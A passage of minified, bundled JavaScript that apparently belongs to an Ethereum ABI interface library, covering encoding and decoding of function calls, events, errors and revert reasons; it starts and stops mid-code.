EAAE,GAAEE,IAAE;AAAC,gBAAID,KAAE,SAASC,GAAE,CAAC,CAAC;AAAE,mBAAO,GAAG,MAAID,MAAGA,MAAG,IAAG,wBAAuB,SAAQD,EAAC,GAAE,IAAI,GAAGC,IAAED,GAAE,IAAI;AAAA,UAAC;AAAC,aAAG,OAAG,gBAAe,QAAOA,GAAE,IAAI;AAAA,QAAC;AAAA,QAAC,gBAAgBA,IAAE;AAAC,gBAAME,KAAEF,GAAE,IAAK,CAAAA,OAAG,KAAK,GAAG,GAAG,KAAKA,EAAC,CAAC,CAAE;AAAE,iBAAO,IAAI,GAAGE,IAAE,GAAG,EAAE,aAAa;AAAA,QAAC;AAAA,QAAC,OAAOF,IAAEE,IAAE;AAAC,aAAGA,GAAE,QAAOF,GAAE,QAAO,8BAA8B;AAAE,gBAAMC,KAAED,GAAE,IAAK,CAAAA,OAAG,KAAK,GAAG,GAAG,KAAKA,EAAC,CAAC,CAAE,GAAEG,KAAE,IAAI,GAAGF,IAAE,GAAG,GAAEG,KAAE,IAAI;AAAG,iBAAOD,GAAE,OAAOC,IAAEF,EAAC,GAAEE,GAAE;AAAA,QAAI;AAAA,QAAC,OAAOJ,IAAEE,IAAED,IAAE;AAAC,gBAAME,KAAEH,GAAE,IAAK,CAAAA,OAAG,KAAK,GAAG,GAAG,KAAKA,EAAC,CAAC,CAAE;AAAE,iBAAO,IAAI,GAAGG,IAAE,GAAG,EAAE,OAAO,IAAI,GAAGD,IAAED,IAAE,EAAE,CAAC;AAAA,QAAC;AAAA,QAAC,OAAO,wBAAwBD,IAAE;AAAC,aAAG,YAAU,OAAOA,MAAG,OAAO,UAAUA,EAAC,GAAE,sCAAqC,SAAQA,EAAC,GAAE,KAAGA;AAAA,QAAC;AAAA,QAAC,OAAO,kBAAiB;AAAC,iBAAO,QAAM,OAAK,KAAG,IAAI,QAAI;AAAA,QAAE;AAAA,QAAC,OAAO,wBAAwBA,IAAEE,IAAED,IAAE;AAAC,iBAAO,SAASD,IAAEE,IAAED,IAAEE,IAAE;AAAC,gBAAIC,KAAE,uBAAsBC,KAAE,MAAKC,KAAE;AAAK,gBAAGL,IAAE;AAAC,cAAAG,KAAE;AAAqB,oBAAMJ,KAAE,GAAGC,EAAC;AAAE,kBAAGA,KAAE,GAAGA,EAAC,GAAE,MAAID,GAAE;AAAO,gBAAAI,MAAG,qDAAoDC,KAAE;AAAA,uBAAyBL,GAAE,SAAO,MAAI;AAAE,gBAAAI,MAAG;AAAA,uBAA0D,iBAAe,GAAGJ,GAAE,MAAM,GAAE,CAAC,CAAC;AAAE,oBAAG;AAAC,kBAAAK,KAAEF,GAAE,OAAO,CAAC,QAAQ,GAAEH,GAAE,MAAM,CAAC,CAAC,EAAE,CAAC,GAAEM,KAAE,EAAC,WAAU,iBAAgB,MAAK,SAAQ,MAAK,CAACD,EAAC,EAAC,GAAED,MAAG,KAAK,KAAK,UAAUC,EAAC,CAAC;AAAA,gBAAE,SAAOL,IAAE;AAAC,kBAAAI,MAAG;AAAA,gBAAiD;AAAA,uBAAS,iBAAe,GAAGJ,GAAE,MAAM,GAAE,CAAC,CAAC;AAAE,oBAAG;AAAC,wBAAME,KAAE,OAAOC,GAAE,OAAO,CAAC,SAAS,GAAEH,GAAE,MAAM,CAAC,CAAC,EAAE,CAAC,CAAC;AAAE,kBAAAM,KAAE,EAAC,WAAU,kBAAiB,MAAK,SAAQ,MAAK,CAACJ,EAAC,EAAC,GAAEG,KAAE,gBAAgB,GAAG,IAAIH,EAAC,KAAG,SAAS,IAAIA,EAAC,KAAIE,MAAG,KAAKC,EAAC;AAAA,gBAAE,SAAOL,IAAE;AAAC,kBAAAI,MAAG;AAAA,gBAAgC;AAAA;AAAM,gBAAAA,MAAG;AAAA,YAAyB;AAAC,kBAAMG,KAAE,EAAC,IAAGL,GAAE,KAAG,GAAGA,GAAE,EAAE,IAAE,MAAK,MAAKA,GAAE,QAAM,KAAI;AAAE,mBAAOA,GAAE,SAAOK,GAAE,OAAK,GAAGL,GAAE,IAAI,IAAG,GAAGE,IAAE,kBAAiB,EAAC,QAAOJ,IAAE,MAAKC,IAAE,QAAOI,IAAE,aAAYE,IAAE,YAAW,MAAK,QAAOD,GAAC,CAAC;AAAA,UAAC,EAAEN,IAAEE,IAAED,IAAE,IAAG,gBAAgB,CAAC;AAAA,QAAC;AAAA,MAAC;AAAC,UAAM,KAAN,MAAQ;AAAA,QAAC;AAAA,QAAS;AAAA,QAAK;AAAA,QAAU;AAAA,QAAM;AAAA,QAAK,YAAYD,IAAEE,IAAED,IAAE;AAAC,gBAAME,KAAEH,GAAE,MAAKI,KAAEJ,GAAE,OAAO;AAAE,aAAG,MAAK,EAAC,UAASA,IAAE,MAAKG,IAAE,WAAUC,IAAE,OAAMF,IAAE,MAAKD,GAAC,CAAC;AAAA,QAAC;AAAA,MAAC;AAAC,UAAM,KAAN,MAAQ;AAAA,QAAC;AAAA,QAAS;AAAA,QAAK;AAAA,QAAK;AAAA,QAAU;AAAA,QAAS;AAAA,QAAM,YAAYD,IAAEE,IAAED,IAAEE,IAAE;AAAC,gBAAMC,KAAEJ,GAAE,MAAKK,KAAEL,GAAE,OAAO;AAAE,aAAG,MAAK,EAAC,UAASA,IAAE,MAAKI,IAAE,MAAKH,IAAE,WAAUI,IAAE,UAASH,IAAE,OAAMC,GAAC,CAAC;AAAA,QAAC;AAAA,MAAC;AAAC,UAAM,KAAN,MAAQ;AAAA,QAAC;AAAA,QAAS;AAAA,QAAK;AAAA,QAAK;AAAA,QAAU;AAAA,QAAS,YAAYH,IAAEE,IAAED,IAAE;AAAC,gBAAME,KAAEH,GAAE,MAAKI,KAAEJ,GAAE,OAAO;AAAE,aAAG,MAAK,EAAC,UAASA,IAAE,MAAKG,IAAE,MAAKF,IAAE,WAAUG,IAAE,UAASF,GAAC,CAAC;AAAA,QAAC;AAAA,MAAC;AAAC,UAAM,KAAN,MAAQ;AAAA,QAAC;AAAA,QAAK;AAAA,QAAW,OAAO,UAAUF,IAAE;AAAC,iBAAM,EAAE,CAACA,MAAG,CAACA,GAAE;AAAA,QAAW;AAAA,QAAC,YAAYA,IAAE;AAAC,aAAG,MAAK,EAAC,MAAKA,IAAE,YAAW,KAAE,CAAC;AAAA,QAAC;AAAA,MAAC;AAAC,UAAM,KAAG,EAAC,GAAE,iBAAgB,GAAE,iBAAgB,IAAG,uBAAsB,IAAG,8BAA6B,IAAG,iBAAgB,IAAG,+CAA8C,IAAG,yDAAwD,IAAG,8CAA6C,IAAG,iBAAgB,IAAG,yBAAwB;AAApU,UAAsU,KAAG,EAAC,cAAa,EAAC,WAAU,iBAAgB,MAAK,SAAQ,QAAO,CAAC,QAAQ,GAAE,QAAO,CAAAA,OAAG,+BAA+B,KAAK,UAAUA,EAAC,CAAC,GAAE,GAAE,cAAa,EAAC,WAAU,kBAAiB,MAAK,SAAQ,QAAO,CAAC,SAAS,GAAE,QAAO,CAAAA,OAAG;AAAC,YAAIE,KAAE;AAAqB,eAAOF,MAAG,KAAGA,MAAG,OAAK,GAAGA,GAAE,SAAS,CAAC,MAAIE,KAAE,GAAGF,GAAE,SAAS,CAAC,IAAG,8BAA8BA,GAAE,SAAS,EAAE,CAAC,KAAKE,EAAC;AAAA,MAAG,EAAC,EAAC;AAAE,UAAM,KAAN,MAAM,IAAE;AAAA,QAAC;AAAA,QAAU;AAAA,QAAO;AAAA,QAAS;AAAA,QAAQ;AAAA,QAAG;AAAA,QAAG;AAAA,QAAG;AAAA,QAAG,YAAYF,IAAE;AAAC,cAAIE,KAAE,CAAC;AAAE,UAAAA,KAAE,YAAU,OAAOF,KAAE,KAAK,MAAMA,EAAC,IAAEA,IAAE,KAAK,KAAG,oBAAI,OAAI,KAAK,KAAG,oBAAI,OAAI,KAAK,KAAG,oBAAI;AAAI,gBAAMC,KAAE,CAAC;AAAE,qBAAUD,MAAKE;AAAE,gBAAG;AAAC,cAAAD,GAAE,KAAK,GAAG,KAAKD,EAAC,CAAC;AAAA,YAAC,SAAOE,IAAE;AAAC,sBAAQ,IAAI,8BAA8B,KAAK,UAAUF,EAAC,CAAC,KAAIE,GAAE,OAAO;AAAA,YAAC;AAAC,aAAG,MAAK,EAAC,WAAU,OAAO,OAAOD,EAAC,EAAC,CAAC;AAAE,cAAIE,KAAE,MAAKC,KAAE;AAAG,eAAK,KAAG,KAAK,YAAY,GAAE,KAAK,UAAU,QAAS,CAACJ,IAAEE,OAAI;AAAC,gBAAID;AAAE,oBAAOD,GAAE,MAAK;AAAA,cAAC,KAAI;AAAc,uBAAO,KAAK,SAAO,KAAK,QAAQ,IAAI,oCAAoC,IAAE,KAAK,GAAG,MAAK,EAAC,QAAOA,GAAC,CAAC;AAAA,cAAE,KAAI;AAAW,uBAAO,MAAK,MAAIA,GAAE,OAAO,SAAOI,KAAE,QAAI,GAAG,CAACD,MAAGH,GAAE,YAAUG,GAAE,SAAQ,kCAAiC,aAAaD,EAAC,KAAIF,EAAC,GAAEG,KAAEH,IAAEI,KAAED,GAAE;AAAA,cAAU,KAAI;AAAW,gBAAAF,KAAE,KAAK;AAAG;AAAA,cAAM,KAAI;AAAQ,gBAAAA,KAAE,KAAK;AAAG;AAAA,cAAM,KAAI;AAAQ,gBAAAA,KAAE,KAAK;AAAG;AAAA,cAAM;AAAQ;AAAA,YAAM;AAAC,kBAAMI,KAAEL,GAAE,OAAO;AAAE,YAAAC,GAAE,IAAII,EAAC,KAAGJ,GAAE,IAAII,IAAEL,EAAC;AAAA,UAAC,CAAE,GAAE,KAAK,UAAQ,GAAG,MAAK,EAAC,QAAO,GAAG,KAAK,eAAe,EAAC,CAAC,GAAE,GAAG,MAAK,EAAC,UAASG,IAAE,SAAQC,GAAC,CAAC;AAAA,QAAC;AAAA,QAAC,OAAOJ,IAAE;AAAC,gBAAME,KAAEF,KAAE,YAAU,QAAOC,KAAE,KAAK,UAAU,IAAK,CAAAD,OAAGA,GAAE,OAAOE,EAAC,CAAE;AAAE,iBAAOD;AAAA,QAAC;AAAA,QAAC,aAAY;AAAC,gBAAMD,KAAE,KAAK,UAAU,IAAK,CAAAA,OAAGA,GAAE,OAAO,MAAM,CAAE;AAAE,iBAAO,KAAK,UAAUA,GAAE,IAAK,CAAAA,OAAG,KAAK,MAAMA,EAAC,CAAE,CAAC;AAAA,QAAC;AAAA,QAAC,cAAa;AAAC,iBAAO,GAAG,gBAAgB;AAAA,QAAC;AAAA,QAAC,GAAGA,IAAEE,IAAED,IAAE;AAAC,cAAG,GAAGD,EAAC,GAAE;AAAC,kBAAME,KAAEF,GAAE,YAAY;AAAE,uBAAUA,MAAK,KAAK,GAAG,OAAO;AAAE,kBAAGE,OAAIF,GAAE;AAAS,uBAAOA;AAAE,mBAAO;AAAA,UAAI;AAAC,cAAG,OAAKA,GAAE,QAAQ,GAAG,GAAE;AAAC,kBAAMG,KAAE,CAAC;AAAE,uBAAS,CAACD,IAAED,EAAC,KAAI,KAAK;AAAG,cAAAC,GAAE,MAAM,GAAG,EAAE,CAAC,MAAIF,MAAGG,GAAE,KAAKF,EAAC;AAAE,gBAAGC,IAAE;AAAC,oBAAMF,KAAEE,GAAE,SAAO,IAAEA,GAAEA,GAAE,SAAO,CAAC,IAAE;AAAK,kBAAID,KAAEC,GAAE,QAAOE,KAAE;AAAG,iBAAG,QAAQJ,EAAC,KAAG,gBAAcA,GAAE,SAAOI,KAAE,OAAGH;AAAK,uBAAQD,KAAEG,GAAE,SAAO,GAAEH,MAAG,GAAEA,MAAI;AAAC,sBAAME,KAAEC,GAAEH,EAAC,EAAE,OAAO;AAAO,gBAAAE,OAAID,MAAGG,MAAGF,OAAID,KAAE,KAAGE,GAAE,OAAOH,IAAE,CAAC;AAAA,cAAC;AAAC,uBAAQA,KAAEG,GAAE,SAAO,GAAEH,MAAG,GAAEA,MAAI;AAAC,sBAAMC,KAAEE,GAAEH,EAAC,EAAE;AAAO,yBAAQI,KAAE,GAAEA,KAAEF,GAAE,QAAOE;AAAI,sBAAG,GAAG,QAAQF,GAAEE,EAAC,CAAC,GAAE;AAAC,wBAAGA,MAAGH,GAAE,QAAO;AAAC,0BAAG,gBAAcC,GAAEE,EAAC,EAAE;AAAK;AAAS,sBAAAD,GAAE,OAAOH,IAAE,CAAC;AAAE;AAAA,oBAAK;AAAC,wBAAGE,GAAEE,EAAC,EAAE,SAAOH,GAAEG,EAAC,EAAE,UAAS;AAAC,sBAAAD,GAAE,OAAOH,IAAE,CAAC;AAAE;AAAA,oBAAK;AAAA,kBAAC;AAAA,cAAC;AAAA,YAAC;AAAC,gBAAG,MAAIG,GAAE,UAAQD,MAAGA,GAAE,WAASC,GAAE,CAAC,EAAE,OAAO,QAAO;AAAC,oBAAMH,KAAEE,GAAEA,GAAE,SAAO,CAAC;AAAE,eAAC,QAAMF,MAAG,MAAM,QAAQA,EAAC,KAAG,YAAU,OAAOA,OAAIG,GAAE,OAAO,GAAE,CAAC;AAAA,YAAC;AAAC,gBAAG,MAAIA,GAAE;AAAO,qBAAO;AAAK,gBAAGA,GAAE,SAAO,KAAGF,IAAE;AAAC,iBAAG,OAAG,gDAAgDE,GAAE,IAAK,CAAAH,OAAG,KAAK,UAAUA,GAAE,OAAO,CAAC,CAAE,EAAE,KAAK,IAAI,CAAC,KAAI,OAAMA,EAAC;AAAA,YAAC;AAAC,mBAAOG,GAAE,CAAC;AAAA,UAAC;AAAC,gBAAMA,KAAE,KAAK,GAAG,IAAI,GAAG,KAAKH,EAAC,EAAE,OAAO,CAAC;AAAE,iBAAOG,MAAG;AAAA,QAAI;AAAA,QAAC,gBAAgBH,IAAE;AAAC,gBAAME,KAAE,KAAK,GAAGF,IAAE,MAAK,KAAE;AAAE,iBAAO,GAAGE,IAAE,wBAAuB,OAAMF,EAAC,GAAEE,GAAE;AAAA,QAAI;AAAA,QAAC,YAAYF,IAAE;AAAC,iBAAM,CAAC,CAAC,KAAK,GAAGA,IAAE,MAAK,KAAE;AAAA,QAAC;AAAA,QAAC,YAAYA,IAAEE,IAAE;AAAC,iBAAO,KAAK,GAAGF,IAAEE,MAAG,MAAK,IAAE;AAAA,QAAC;AAAA,QAAC,gBAAgBF,IAAE;AAAC,gBAAME,KAAE,MAAM,KAAK,KAAK,GAAG,KAAK,CAAC;AAAE,UAAAA,GAAE,KAAM,CAACF,IAAEE,OAAIF,GAAE,cAAcE,EAAC,CAAE;AAAE,mBAAQD,KAAE,GAAEA,KAAEC,GAAE,QAAOD,MAAI;AAAC,kBAAME,KAAED,GAAED,EAAC;AAAE,YAAAD,GAAE,KAAK,GAAG,IAAIG,EAAC,GAAEF,EAAC;AAAA,UAAC;AAAA,QAAC;AAAA,QAAC,GAAGD,IAAEE,IAAED,IAAE;AAAC,cAAG,GAAGD,EAAC,GAAE;AAAC,kBAAME,KAAEF,GAAE,YAAY;AAAE,uBAAUA,MAAK,KAAK,GAAG,OAAO;AAAE,kBAAGE,OAAIF,GAAE;AAAU,uBAAOA;AAAE,mBAAO;AAAA,UAAI;AAAC,cAAG,OAAKA,GAAE,QAAQ,GAAG,GAAE;AAAC,kBAAMG,KAAE,CAAC;AAAE,uBAAS,CAACD,IAAED,EAAC,KAAI,KAAK;AAAG,cAAAC,GAAE,MAAM,GAAG,EAAE,CAAC,MAAIF,MAAGG,GAAE,KAAKF,EAAC;AAAE,gBAAGC,IAAE;AAAC,uBAAQF,KAAEG,GAAE,SAAO,GAAEH,MAAG,GAAEA;AAAI,gBAAAG,GAAEH,EAAC,EAAE,OAAO,SAAOE,GAAE,UAAQC,GAAE,OAAOH,IAAE,CAAC;AAAE,uBAAQA,KAAEG,GAAE,SAAO,GAAEH,MAAG,GAAEA,MAAI;AAAC,sBAAMC,KAAEE,GAAEH,EAAC,EAAE;AAAO,yBAAQI,KAAE,GAAEA,KAAEF,GAAE,QAAOE;AAAI,sBAAG,GAAG,QAAQF,GAAEE,EAAC,CAAC,KAAGF,GAAEE,EAAC,EAAE,SAAOH,GAAEG,EAAC,EAAE,UAAS;AAAC,oBAAAD,GAAE,OAAOH,IAAE,CAAC;AAAE;AAAA,kBAAK;AAAA,cAAC;AAAA,YAAC;AAAC,gBAAG,MAAIG,GAAE;AAAO,qBAAO;AAAK,gBAAGA,GAAE,SAAO,KAAGF,IAAE;AAAC,iBAAG,OAAG,6CAA6CE,GAAE,IAAK,CAAAH,OAAG,KAAK,UAAUA,GAAE,OAAO,CAAC,CAAE,EAAE,KAAK,IAAI,CAAC,KAAI,OAAMA,EAAC;AAAA,YAAC;AAAC,mBAAOG,GAAE,CAAC;AAAA,UAAC;AAAC,gBAAMA,KAAE,KAAK,GAAG,IAAI,GAAG,KAAKH,EAAC,EAAE,OAAO,CAAC;AAAE,iBAAOG,MAAG;AAAA,QAAI;AAAA,QAAC,aAAaH,IAAE;AAAC,gBAAME,KAAE,KAAK,GAAGF,IAAE,MAAK,KAAE;AAAE,iBAAO,GAAGE,IAAE,qBAAoB,OAAMF,EAAC,GAAEE,GAAE;AAAA,QAAI;AAAA,QAAC,SAASF,IAAE;AAAC,iBAAM,CAAC,CAAC,KAAK,GAAGA,IAAE,MAAK,KAAE;AAAA,QAAC;AAAA,QAAC,SAASA,IAAEE,IAAE;AAAC,iBAAO,KAAK,GAAGF,IAAEE,MAAG,MAAK,IAAE;AAAA,QAAC;AAAA,QAAC,aAAaF,IAAE;AAAC,gBAAME,KAAE,MAAM,KAAK,KAAK,GAAG,KAAK,CAAC;AAAE,UAAAA,GAAE,KAAM,CAACF,IAAEE,OAAIF,GAAE,cAAcE,EAAC,CAAE;AAAE,mBAAQD,KAAE,GAAEA,KAAEC,GAAE,QAAOD,MAAI;AAAC,kBAAME,KAAED,GAAED,EAAC;AAAE,YAAAD,GAAE,KAAK,GAAG,IAAIG,EAAC,GAAEF,EAAC;AAAA,UAAC;AAAA,QAAC;AAAA,QAAC,SAASD,IAAEE,IAAE;AAAC,cAAG,GAAGF,EAAC,GAAE;AAAC,kBAAME,KAAEF,GAAE,YAAY;AAAE,gBAAG,GAAGE,EAAC;AAAE,qBAAO,GAAG,KAAK,GAAGA,EAAC,EAAE,SAAS;AAAE,uBAAUF,MAAK,KAAK,GAAG,OAAO;AAAE,kBAAGE,OAAIF,GAAE;AAAS,uBAAOA;AAAE,mBAAO;AAAA,UAAI;AAAC,cAAG,OAAKA,GAAE,QAAQ,GAAG,GAAE;AAAC,kBAAME,KAAE,CAAC;AAAE,uBAAS,CAACD,IAAEE,EAAC,KAAI,KAAK;AAAG,cAAAF,GAAE,MAAM,GAAG,EAAE,CAAC,MAAID,MAAGE,GAAE,KAAKC,EAAC;AAAE,gBAAG,MAAID,GAAE;AAAO,qBAAM,YAAUF,KAAE,GAAG,KAAK,qBAAqB,IAAE,YAAUA,KAAE,GAAG,KAAK,sBAAsB,IAAE;AAAK,gBAAGE,GAAE,SAAO,GAAE;AAAC,iBAAG,OAAG,qCAAqCA,GAAE,IAAK,CAAAF,OAAG,KAAK,UAAUA,GAAE,OAAO,CAAC,CAAE,EAAE,KAAK,IAAI,CAAC,KAAI,QAAOA,EAAC;AAAA,YAAC;AAAC,mBAAOE,GAAE,CAAC;AAAA,UAAC;AAAC,cAAG,qBAAmBF,KAAE,GAAG,KAAKA,EAAC,EAAE,OAAO;AAAG,mBAAO,GAAG,KAAK,qBAAqB;AAAE,cAAG,qBAAmBA;AAAE,mBAAO,GAAG,KAAK,sBAAsB;AAAE,gBAAMC,KAAE,KAAK,GAAG,IAAID,EAAC;AAAE,iBAAOC,MAAG;AAAA,QAAI;AAAA,QAAC,aAAaD,IAAE;AAAC,gBAAME,KAAE,MAAM,KAAK,KAAK,GAAG,KAAK,CAAC;AAAE,UAAAA,GAAE,KAAM,CAACF,IAAEE,OAAIF,GAAE,cAAcE,EAAC,CAAE;AAAE,mBAAQD,KAAE,GAAEA,KAAEC,GAAE,QAAOD,MAAI;AAAC,kBAAME,KAAED,GAAED,EAAC;AAAE,YAAAD,GAAE,KAAK,GAAG,IAAIG,EAAC,GAAEF,EAAC;AAAA,UAAC;AAAA,QAAC;AAAA,QAAC,cAAcD,IAAEE,IAAE;AAAC,iBAAO,KAAK,GAAG,OAAOF,IAAEE,EAAC;AAAA,QAAC;AAAA,QAAC,cAAcF,IAAEE,IAAE;AAAC,iBAAO,KAAK,GAAG,OAAOF,IAAEE,EAAC;AAAA,QAAC;AAAA,QAAC,aAAaF,IAAE;AAAC,iBAAO,KAAK,cAAc,KAAK,OAAO,QAAOA,MAAG,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,kBAAkBA,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,SAASF,EAAC;AAAE,eAAGE,IAAE,iBAAgB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,iBAAO,GAAG,GAAGA,IAAE,GAAE,CAAC,MAAIF,GAAE,UAAS,uCAAuCA,GAAE,IAAI,KAAI,QAAOE,EAAC,GAAE,KAAK,cAAcF,GAAE,QAAO,GAAGE,IAAE,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,kBAAkBF,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,SAASF,EAAC;AAAE,eAAGE,IAAE,iBAAgB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,iBAAO,GAAG,CAACF,GAAE,UAAS,KAAK,cAAcA,GAAE,QAAOE,MAAG,CAAC,CAAC,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,mBAAmBF,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,YAAYF,EAAC;AAAE,eAAGE,IAAE,oBAAmB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,iBAAO,GAAG,GAAGA,IAAE,GAAE,CAAC,MAAIF,GAAE,UAAS,0CAA0CA,GAAE,IAAI,KAAI,QAAOE,EAAC,GAAE,KAAK,cAAcF,GAAE,QAAO,GAAGE,IAAE,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,mBAAmBF,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,YAAYF,EAAC;AAAE,eAAGE,IAAE,oBAAmB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,iBAAO,GAAG,CAACF,GAAE,UAAS,KAAK,cAAcA,GAAE,QAAOE,MAAG,CAAC,CAAC,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,qBAAqBF,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,YAAYF,EAAC;AAAE,eAAGE,IAAE,oBAAmB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,cAAID,KAAE;AAAiC,gBAAME,KAAE,GAAGD,EAAC;AAAE,cAAGC,GAAE,SAAO,MAAI;AAAE,gBAAG;AAAC,qBAAO,KAAK,GAAG,OAAOH,GAAE,SAAQG,EAAC;AAAA,YAAC,SAAOH,IAAE;AAAC,cAAAC,KAAE;AAAA,YAA8B;AAAC,aAAG,OAAGA,IAAE,YAAW,EAAC,OAAM,GAAGE,EAAC,GAAE,MAAK,EAAC,QAAOH,GAAE,MAAK,WAAUA,GAAE,OAAO,EAAC,EAAC,CAAC;AAAA,QAAC;AAAA,QAAC,UAAUA,IAAEE,IAAE;AAAC,gBAAMD,KAAE,GAAGD,IAAE,MAAM,GAAEG,KAAE,GAAG,wBAAwB,QAAOD,IAAED,EAAC;AAAE,cAAGE,GAAE,QAAQ,WAAW,2CAA2C,GAAE;AAAC,kBAAMH,KAAE,GAAGC,GAAE,MAAM,GAAE,CAAC,CAAC,GAAEC,KAAE,KAAK,SAASF,EAAC;AAAE,gBAAGE;AAAE,kBAAG;AAAC,sBAAMF,KAAE,KAAK,GAAG,OAAOE,GAAE,QAAOD,GAAE,MAAM,CAAC,CAAC;AAAE,gBAAAE,GAAE,SAAO,EAAC,MAAKD,GAAE,MAAK,WAAUA,GAAE,OAAO,GAAE,MAAKF,GAAC,GAAEG,GAAE,SAAOA,GAAE,OAAO,WAAUA,GAAE,UAAQ,uBAAuBA,GAAE,MAAM;AAAA,cAAE,SAAOH,IAAE;AAAC,gBAAAG,GAAE,UAAQ;AAAA,cAAoD;AAAA,UAAC;AAAC,gBAAMC,KAAE,KAAK,iBAAiBF,EAAC;AAAE,iBAAOE,OAAID,GAAE,aAAW,EAAC,QAAOC,GAAE,MAAK,WAAUA,GAAE,WAAU,MAAKA,GAAE,KAAI,IAAGD;AAAA,QAAC;AAAA,QAAC,qBAAqBH,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,YAAYF,EAAC;AAAE,eAAGE,IAAE,oBAAmB,YAAWF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,iBAAO,GAAG,KAAK,GAAG,OAAOF,GAAE,SAAQE,MAAG,CAAC,CAAC,CAAC;AAAA,QAAC;AAAA,QAAC,mBAAmBF,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,SAASF,EAAC;AAAE,eAAGE,IAAE,iBAAgB,iBAAgBF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,aAAGA,GAAE,UAAQF,GAAE,OAAO,QAAO,0BAA0BA,GAAE,OAAO,CAAC,IAAG,uBAAsB,EAAC,OAAME,GAAE,QAAO,eAAcF,GAAE,OAAO,OAAM,CAAC;AAAE,gBAAMC,KAAE,CAAC;AAAE,UAAAD,GAAE,aAAWC,GAAE,KAAKD,GAAE,SAAS;AAAE,gBAAMG,KAAE,CAACH,IAAEE,OAAI,aAAWF,GAAE,OAAK,GAAGE,EAAC,IAAE,YAAUF,GAAE,OAAK,GAAG,GAAGE,EAAC,CAAC,KAAG,WAASF,GAAE,QAAM,aAAW,OAAOE,KAAEA,KAAEA,KAAE,SAAO,SAAOF,GAAE,KAAK,MAAM,QAAQ,IAAEE,KAAE,GAAGA,EAAC,IAAEF,GAAE,KAAK,MAAM,QAAQ,IAAEE,KAAE,GAAGA,IAAE,IAAG,KAAE,IAAE,cAAYF,GAAE,QAAM,KAAK,GAAG,OAAO,CAAC,SAAS,GAAE,CAACE,EAAC,CAAC,GAAE,GAAG,GAAGA,EAAC,GAAE,EAAE;AAAG,eAAIA,GAAE,QAAS,CAACA,IAAEE,OAAI;AAAC,kBAAMC,KAAEL,GAAE,OAAOI,EAAC;AAAE,YAAAC,GAAE,UAAQ,QAAMH,KAAED,GAAE,KAAK,IAAI,IAAE,YAAUI,GAAE,YAAU,YAAUA,GAAE,WAAS,GAAG,OAAG,iDAAgD,cAAYA,GAAE,MAAKH,EAAC,IAAE,MAAM,QAAQA,EAAC,IAAED,GAAE,KAAKC,GAAE,IAAK,CAAAF,OAAGG,GAAEE,IAAEL,EAAC,CAAE,CAAC,IAAEC,GAAE,KAAKE,GAAEE,IAAEH,EAAC,CAAC,IAAE,GAAG,QAAMA,IAAE,sDAAqD,cAAYG,GAAE,MAAKH,EAAC;AAAA,UAAC,CAAE,GAAED,GAAE,UAAQ,SAAOA,GAAEA,GAAE,SAAO,CAAC;AAAG,YAAAA,GAAE,IAAI;AAAE,iBAAOA;AAAA,QAAC;AAAA,QAAC,eAAeD,IAAEE,IAAE;AAAC,cAAG,YAAU,OAAOF,IAAE;AAAC,kBAAME,KAAE,KAAK,SAASF,EAAC;AAAE,eAAGE,IAAE,iBAAgB,iBAAgBF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,gBAAMD,KAAE,CAAC,GAAEE,KAAE,CAAC,GAAEC,KAAE,CAAC;AAAE,iBAAOJ,GAAE,aAAWC,GAAE,KAAKD,GAAE,SAAS,GAAE,GAAGE,GAAE,WAASF,GAAE,OAAO,QAAO,mCAAkC,UAASE,EAAC,GAAEF,GAAE,OAAO,QAAS,CAACA,IAAEK,OAAI;AAAC,kBAAMC,KAAEJ,GAAEG,EAAC;AAAE,gBAAGL,GAAE;AAAQ,kBAAG,aAAWA,GAAE;AAAK,gBAAAC,GAAE,KAAK,GAAGK,EAAC,CAAC;AAAA,uBAAU,YAAUN,GAAE;AAAK,gBAAAC,GAAE,KAAK,GAAGK,EAAC,CAAC;AAAA,mBAAM;AAAC,oBAAG,YAAUN,GAAE,YAAU,YAAUA,GAAE;AAAS,wBAAM,IAAI,MAAM,iBAAiB;AAAE,gBAAAC,GAAE,KAAK,KAAK,GAAG,OAAO,CAACD,GAAE,IAAI,GAAE,CAACM,EAAC,CAAC,CAAC;AAAA,cAAC;AAAA;AAAM,cAAAH,GAAE,KAAKH,EAAC,GAAEI,GAAE,KAAKE,EAAC;AAAA,UAAC,CAAE,GAAE,EAAC,MAAK,KAAK,GAAG,OAAOH,IAAEC,EAAC,GAAE,QAAOH,GAAC;AAAA,QAAC;AAAA,QAAC,eAAeD,IAAEE,IAAED,IAAE;AAAC,cAAG,YAAU,OAAOD,IAAE;AAAC,kBAAME,KAAE,KAAK,SAASF,EAAC;AAAE,eAAGE,IAAE,iBAAgB,iBAAgBF,EAAC,GAAEA,KAAEE;AAAA,UAAC;AAAC,cAAG,QAAMD,MAAG,CAACD,GAAE,WAAU;AAAC,kBAAME,KAAEF,GAAE;AAAU,eAAG,GAAGC,GAAE,CAAC,GAAE,EAAE,KAAGA,GAAE,CAAC,EAAE,YAAY,MAAIC,IAAE,2BAA0B,aAAYD,GAAE,CAAC,CAAC,GAAEA,KAAEA,GAAE,MAAM,CAAC;AAAA,UAAC;AAAC,gBAAME,KAAE,CAAC,GAA